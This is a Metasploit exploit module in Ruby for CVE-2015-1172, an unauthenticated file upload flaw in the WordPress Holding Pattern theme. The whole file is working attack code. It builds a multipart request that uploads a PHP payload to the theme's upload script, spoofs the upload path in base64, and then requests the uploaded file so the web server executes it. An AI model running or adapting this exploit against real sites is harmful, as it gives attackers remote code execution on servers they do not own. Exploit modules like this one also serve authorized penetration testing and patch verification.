WordPress Theme Holding Pattern – Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'socket' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress Holding Pattern Theme Arbitrary File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in all versions of the Holding Pattern theme found in the upload_file.php script which contains no session or file validation. It allows unauthenticated users to upload files of any type and subsequently execute PHP scripts in the context of the web server. }, 'License' => MSF_LICENSE, 'Author' => [ 'Alexander Borg', # Vulnerability disclosure 'Rob Carr <rob[at]rastating.com>' # Metasploit module ], 'References' => [ ['CVE', '2015-1172'], ['WPVDB', '7784'], ['PACKETSTORM', '130282'] ], 'DisclosureDate' => 'Feb 11 2015', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['holding_pattern', {}]], 'DefaultTarget' => 0 )) end def check check_theme_version_from_readme('holding_pattern') end def rhost datastore['RHOST'] end def holding_pattern_uploads_url normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/') end def holding_pattern_uploader_url normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php') end def generate_mime_message(payload, payload_name) data = Rex::MIME::Message.new target_ip = IPSocket.getaddress(rhost) field_name = Rex::Text.md5(target_ip) # In versions 1.2 and 1.3 of the theme, the upload directory must # be encoded in base64 and sent with the request. To maintain # compatibility with the hardcoded path of ../uploads in prior # versions, we will send the same path in the request. upload_path = Rex::Text.encode_base64('../uploads') data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"") data.add_part(upload_path, nil, nil, 'form-data; name="upload_path"') data end def exploit print_status("Preparing payload...") payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php" data = generate_mime_message(payload, payload_name) print_status("Uploading payload...") res = send_request_cgi( 'method' => 'POST', 'uri' => holding_pattern_uploader_url, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) fail_with(Failure::Unreachable, 'No response from the target') if res.nil? fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 payload_url = normalize_uri(holding_pattern_uploads_url, payload_name) print_status("Executing the payload at #{payload_url}") register_files_for_cleanup(payload_name) send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) end end |